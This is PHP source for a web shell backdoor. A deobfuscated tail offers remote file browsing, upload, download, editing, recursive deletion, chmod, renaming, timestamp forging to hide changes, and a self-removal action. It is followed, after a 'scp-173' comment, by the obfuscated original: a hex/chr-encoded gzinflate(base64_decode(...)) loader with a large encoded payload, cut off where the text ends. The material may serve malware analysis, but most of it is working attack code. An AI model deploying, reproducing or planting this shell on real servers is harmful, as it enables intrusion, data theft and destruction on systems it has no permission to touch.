        $_wvlc .= $_hp & (int) round(2.0000000000000098) ? "w" : "-";
        $_wvlc .= $_hp & (int) round(0.99999999999999) ? $_hp & (int) round(512.00000000001) ? "t" : "x" : ($_hp & 512 ? "T" : "-");
        return $_wvlc;
    }
    function _Ħ($_xw)
    {
        if (!@IS_ReaDABLe($_xw)) {
            return "<font color=#FF0000>" . _(@FilepermS($_xw)) . "</font>";
        } elseif (!@iS_writaBLe($_xw)) {
            return "<font color=white>" . _(@fIlEPeRMS($_xw)) . "</font>";
        } else {
            return "<font color=#25ff00>" . _(@FilePERMs($_xw)) . "</font>";
        }
    }
    function _($_ioko)
    {
        if (fUnCTIOn_ExiSts("scandir")) {
            return scAnDir($_ioko);
        } else {
            $_ip = opeNdIr($_ioko);
            while (false !== ($_io = rEadDir($_ip))) {
                $_jsm[] = $_io;
            }
            return $_jsm;
        }
    }
    function acTiONfM()
    {
        if (!empty($_COOKIE["f"])) {
            $_COOKIE["f"] = @UNsERIAlIZE($_COOKIE["f"]);
        }
        if (!empty($_POST["p"])) {
            $_rdbd = @FilemTiME($_POST["c"]);
            switch ($_POST["p"]) {
                case "uploadFile":
                    if (!@mOve_uPLoADeD_FIlE($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
                        echo "Can't upload file!";
                    } elseif ($_rdbd) {
                        toUcH($_FILES["f"]["name"], $_rdbd, $_rdbd);
                    }
                    break;
                case "delete":
                    function _ͻ($_cm)
                    {
                        $_cm = SubSTr($_cm, -(int) round(1.0)) == "/" ? $_cm : $_cm . "/";
                        $_ip = opENdIr($_cm);
                        while (($_iq = reAddIR($_ip)) !== false) {
                            $_iq = $_cm . $_iq;
                            if (BasENAme($_iq) == ".." || baseNamE($_iq) == ".") {
                                continue;
                            }
                            $_qhh = FilEtype($_iq);
                            if ($_qhh == "dir") {
                                _ͻ($_iq);
                            } else {
                                @uNlINK($_iq);
                            }
                        }
                        ClOSEdiR($_ip);
                        @RMdir($_cm);
                    }
                    if (iS_aRrAY($_POST["f"])) {
                        foreach ($_POST["f"] as $_xw) {
                            if ($_xw == "..") {
                                continue;
                            }
                            $_xw = sTr_rot13(uRldeCODE($_xw));
                            echo $_xw;
                            if (Is_diR($_xw)) {
                                _ͻ($_xw);
                            } else {
                                @Unlink($_xw);
                            }
                        }
                    }
                    break;
            }
            if ($_rdbd) {
                ToUCh($_POST["c"], $_rdbd, $_rdbd);
            }
        }
        _؉();
        echo "<h1>File manager</h1><div class=content><script>p_=x_=s_=\"\";</script>";
        $_zka = _(isset($_POST["c"]) ? $_POST["c"] : $GLOBALS["cwd"]);
        if ($_zka === false) {
            echo "Can't open this folder!";
            _ۖ();
            return;
        }
        global $sort;
        $sort = array("name", (int) round(0.99999999999999));
        echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
        $_tge = $_jsm = array();
        $_pfy = couNt($_zka);
        for ($_wvlc = (int) round(0); $_wvlc < $_pfy; $_wvlc++) {
            if (funCTION_eXIStS("posix_getpwuid")) {
                $_dirj = @PosIx_GETpWUid(@fileOwner($_zka[$_wvlc]));
                $_vk = @POSix_geTGRgId(@fILEgroup($_zka[$_wvlc]));
            }
            $_mok = array("name" => $_zka[$_wvlc], "path" => $GLOBALS["cwd"] . $_zka[$_wvlc], "modify" => daTE("Y-m-d H:i:s", @FilemtIMe($GLOBALS["cwd"] . $_zka[$_wvlc])), "perms" => _Ħ($GLOBALS["cwd"] . $_zka[$_wvlc]), "size" => @fILeSIze($GLOBALS["cwd"] . $_zka[$_wvlc]), "owner" => $_dirj["name"] ? $_dirj["name"] : @fileOwner($_zka[$_wvlc]), "group" => $_vk["name"] ? $_vk["name"] : @FIlEgROUP($_zka[$_wvlc]));
            if (@is_fiLE($GLOBALS["cwd"] . $_zka[$_wvlc])) {
                $_jsm[] = arraY_MeRGE($_mok, array("type" => "file"));
            } elseif (@Is_LINK($GLOBALS["cwd"] . $_zka[$_wvlc])) {
                $_tge[] = Array_Merge($_mok, array("type" => "link", "link" => rEADLiNk($_mok["path"])));
            } elseif (@IS_dir($GLOBALS["cwd"] . $_zka[$_wvlc])) {
                $_tge[] = ArRAy_mErgE($_mok, array("type" => "dir"));
            }
        }
        $GLOBALS["sort"] = $sort;
        function Wcmp($_av, $_wr)
        {
            return strCMP(strtOlOweR($_av[$GLOBALS["sort"][0]]), sTRtOLOWer($_wr[$GLOBALS["sort"][0]])) * ($GLOBALS["sort"][(int) round(1.0)] ? 1 : -(int) round(0.99999999999999));
        }
        USoRt($_jsm, "wCmp");
        USOrT($_tge, "wCmp");
        $_jsm = aRRAY_MeRge($_tge, $_jsm);
        $_wkfe = 0;
        foreach ($_jsm as $_xw) {
            $_otf = sTR_ROt13(URLeNCOdE($_xw["name"]));
            echo "<tr" . ($_wkfe ? " class=l1" : "") . "><td><input type=checkbox name=\"f[]\" value=\"" . $_otf . "\" class=chkbx></td><td><a href=# onclick=\"" . ($_xw["type"] == "file" ? "g('ft',null,'" . $_otf . "', 'view')\">" . htmLspECIALCHaRS($_xw["name"]) : "g('fm','" . Str_rOt13($_xw["path"]) . "');\" " . (empty($_xw["link"]) ? "" : "title='" . $_xw["link"] . "'") . "><b>[ " . hTMlspEcIaLCHArs($_xw["name"]) . " ]</b>") . "</a></td><td>" . ($_xw["type"] == "file" ? _($_xw["size"]) : $_xw["type"]) . "</td><td>" . $_xw["modify"] . "</td><td>" . $_xw["owner"] . "/" . $_xw["group"] . "</td><td><a href=# onclick=\"g('ft',null,'" . $_otf . "','chmod')\">" . $_xw["perms"] . "</td><td><a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'rename')\">R</a> <a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'touch')\">T</a>" . ($_xw["type"] == "file" ? " <a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'edit')\">E</a> <a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'download')\">D</a>" : "") . "</td></tr>";
            $_wkfe = $_wkfe ? 0 : (int) round(1.0);
        }
        echo "<tr><td colspan=7>\r\n\t<input type=hidden name=a value='fm'>\r\n\t<input type=hidden name=c value='" . hTMLsPECIAlchars(sTr_rOT13($GLOBALS["cwd"])) . "'>\r\n\t<input type=hidden name=ch value='" . (isset($_POST["ch"]) ? $_POST["ch"] : "") . "'>\r\n\t<select name='p'><option value='delete'>Delete</option>";
        echo "</select> ";
        echo "<input type='submit' value='>>'></td></tr></form></table></div>";
        _ۖ();
    }
    function ActiOnFt()
    {
        if (isset($_POST["p"])) {
            $_POST["p"] = StR_rOT13(uRLdeCODE($_POST["p"]));
        }
        if (isset($_POST["x"])) {
            switch ($_POST["x"]) {
                case "download":
                    if (@is_fIlE($_POST["p"]) && @iS_reaDABlE($_POST["p"])) {
                        OB_StarT("ob_gzhandler", (int) round(4096));
                        HEADer("Content-Disposition: attachment; filename=" . BAsEnAme($_POST["p"]));
                        if (fUnctioN_eXIsTS("mime_content_type")) {
                            $_qhh = @MIme_ConTent_TYpe($_POST["p"]);
                            HEAdeR("Content-Type: " . $_qhh);
                        } else {
                            HEAder("Content-Type: application/octet-stream");
                        }
                        $_tdtc = @fopEn($_POST["p"], "r");
                        if ($_tdtc) {
                            while (!@FEOF($_tdtc)) {
                                echo @FgetS($_tdtc, 1024);
                            }
                            fcloSe($_tdtc);
                        }
                    }
                    exit;
                case "mkfile":
                    if (!FILE_eXiSts($_POST["p"])) {
                        $_ujhi = @filemtImE($_POST["c"]);
                        $_tdtc = @FOpEN($_POST["p"], "w");
                        if ($_tdtc) {
                            $_POST["x"] = "edit";
                            FCLOSE($_tdtc);
                            if ($_ujhi) {
                                tOUch($_POST["c"], $_ujhi, $_ujhi);
                                touCh($_POST["p"], $_ujhi, $_ujhi);
                            }
                        }
                    }
                    break;
            }
        }
        _؉();
        echo "<h1>File tools</h1><div class=content>";
        if (!fIlE_exIStS($_POST["p"])) {
            echo "File not exists";
            _ۖ();
            return;
        }
        $_mkds = @posIx_GEtpwuiD(@fIleoWner($_POST["p"]));
        if (!$_mkds) {
            $_mkds["name"] = @fIlEOwner($_POST["p"]);
            $_ltxp["name"] = @FiLEgrOup($_POST["p"]);
        } else {
            $_ltxp = @POsIX_GeTgrGiD(@FIlegrOUp($_POST["p"]));
        }
        echo "<span>Name:</span> " . hTmlSpeCiALchars(@BAsEnAme($_POST["p"])) . " <span>Size:</span> " . (IS_FIle($_POST["p"]) ? _(FIlESizE($_POST["p"])) : "-") . " <span>Permission:</span> " . _Ħ($_POST["p"]) . " <span>Owner/Group:</span> " . $_mkds["name"] . "/" . $_ltxp["name"] . "<br>";
        echo "<span>Change time:</span> " . dAtE("Y-m-d H:i:s", FILeCTimE($_POST["p"])) . " <span>Access time:</span> " . DATE("Y-m-d H:i:s", FiLEAtimE($_POST["p"])) . " <span>Modify time:</span> " . DatE("Y-m-d H:i:s", fIleMtImE($_POST["p"])) . "<br><br>";
        if (empty($_POST["x"])) {
            $_POST["x"] = "view";
        }
        if (is_file($_POST["p"])) {
            $_el = array("View", "Download", "Edit", "Chmod", "Rename", "Touch");
        } else {
            $_el = array("Chmod", "Rename", "Touch");
        }
        foreach ($_el as $_kg) {
            echo "<a href=# onclick=\"g(null,null,'" . urLeNCoDE(STR_rOt13($_POST["p"])) . "','" . Strtolower($_kg) . "')\">" . (sTRtOLoWer($_kg) == $_POST["x"] ? "<b>[ " . $_kg . " ]</b>" : $_kg) . "</a> ";
        }
        echo "<br><br>";
        switch ($_POST["x"]) {
            case "view":
                echo "<pre class=ml1>";
                $_tdtc = @fopEn($_POST["p"], "r");
                if ($_tdtc) {
                    while (!@FEOF($_tdtc)) {
                        echo hTMLspECiaLcHARs(@fGeTS($_tdtc, 1024));
                    }
                    @FcLosE($_tdtc);
                }
                echo "</pre>";
                break;
            case "chmod":
                if (!empty($_POST["s"])) {
                    $_dghz = (int) round(0);
                    for ($_wvlc = StRLEn($_POST["s"]) - (int) round(1.0); $_wvlc >= (int) round(0); --$_wvlc) {
                        $_dghz += (int) $_POST["s"][$_wvlc] * poW(8, StrLEn($_POST["s"]) - $_wvlc - 1);
                    }
                    if (!@ChmOd($_POST["p"], $_dghz)) {
                        echo "Can't set permissions!<br><script>document.mf.s.value=\"\";</script>";
                    }
                }
                cLeArsTATcaChe();
                echo "<script>s_=\"\";</script><form onsubmit=\"g(null,null,'" . urlENCoDE(stR_Rot13($_POST["p"])) . "',null,this.chmod.value);return false;\"><input type=text name=chmod value=\"" . subSTr(SPRiNTF("%o", filEPeRMS($_POST["p"])), -4) . "\"><input type=submit value=\">>\"></form>";
                break;
            case "edit":
                if (!IS_wRitAblE($_POST["p"])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST["s"])) {
                    $_rdbd = @FILemtIMe($_POST["p"]);
                    $_POST["s"] = SUbstr($_POST["s"], (int) round(1.0));
                    $_POST["s"] = baSE64_dECoDe($_POST["s"]);
                    $_tdtc = @FOPen($_POST["p"], "w");
                    if ($_tdtc) {
                        @fputs($_tdtc, $_POST["s"]);
                        @FClOSe($_tdtc);
                        echo "Saved!<br><script>s_=\"\";</script>";
                    }
                }
                echo "<form onsubmit=\"g(null,null,'" . UrLenCoDE(sTr_Rot13($_POST["p"])) . "',null,'1'+utoa(this.text.value));return false;\"><textarea name=text class=bigarea>";
                $_tdtc = @FOpen($_POST["p"], "r");
                if ($_tdtc) {
                    while (!@feOf($_tdtc)) {
                        echo HtmLsPeCIAlcHArS(@fgETS($_tdtc, 1024));
                    }
                    @FClOse($_tdtc);
                }
                echo "</textarea><input type=submit value=\"Save\"></form>";
                if ($_rdbd) {
                    TOUcH($_POST["p"], $_rdbd, $_rdbd);
                }
                break;
            case "rename":
                $_ujhi = @fILeMTImE($_POST["c"]);
                if (!empty($_POST["s"])) {
                    if (!@RenAMe($_POST["p"], stR_ROt13($_POST["s"]))) {
                        echo "Can't rename!<br>";
                    } else {
                        if ($_ujhi) {
                            ToUCH($_POST["c"], $_ujhi, $_ujhi);
                        }
                        die("<script>g(null,null,\"" . UrLenCODe($_POST["s"]) . "\",null,\"\")</script>");
                    }
                }
                echo "<form onsubmit=\"g(null,null,'" . UrlENCoDE(sTR_Rot13($_POST["p"])) . "',null,rot13(this.name.value));return false;\"><input type=text name=name value=\"" . htMLSPeCIAlcharS($_POST["p"]) . "\"><input type=submit value=\">>\"></form>";
                break;
            case "touch":
                if (!empty($_POST["s"])) {
                    $_rdbd = stRTOTImE($_POST["s"]);
                    if ($_rdbd) {
                        if (!TOuCH($_POST["p"], $_rdbd, $_rdbd)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                CleArSTatcACHe();
                echo "<script>s_=\"\";</script><form onsubmit=\"g(null,null,'" . uRLeNCOde(STR_roT13($_POST["p"])) . "',null,this.touch.value);return false;\"><input type=text name=touch value=\"" . DAtE("Y-m-d H:i:s", @FilEmtIMe($_POST["p"])) . "\"><input type=submit value=\">>\"></form>";
                break;
        }
        echo "</div>";
        _ۖ();
    }
    function acTiOnLogout()
    {
        SetCoOkIe($GLOBALS["cook"], "", TiME() - (int) round(3600));
        die("bye!");
    }
    function _()
    {
        if ($_POST["p"] == "yes") {
            if (@UNLinK(PreG_replace("!\\(\\d+\\)\\s.*!", "", "/var/www/html/input.php"))) {
                die("Shell has been removed");
            } else {
                echo "unlink error!";
            }
        }
        if ($_POST["p"] != "yes") {
            _؉();
        }
        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        _ۖ();
    }
    if (empty($_POST["a"])) {
        if (isset($_smp) && FUncTiON_eXISTS("action" . $_smp)) {
            $_POST["a"] = $_smp;
        }
    }
    if (!empty($_POST["a"]) && FUNction_EXIstS("action" . $_POST["a"])) {
        CAll_user_FUNc("action" . $_POST["a"]);
    }
    exit;
}}}";
//scp-173


Original code

<?php $wxsE7559 = chr(103)."\x7a\x69\x6e\x66".chr(108)."\x61te";
$AE1718 = chr(98)."a".chr(115)."".chr(101)."\x364_d\x65c\x6F\x64".chr(101);
$s6353 = $wxsE7559($AE1718("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
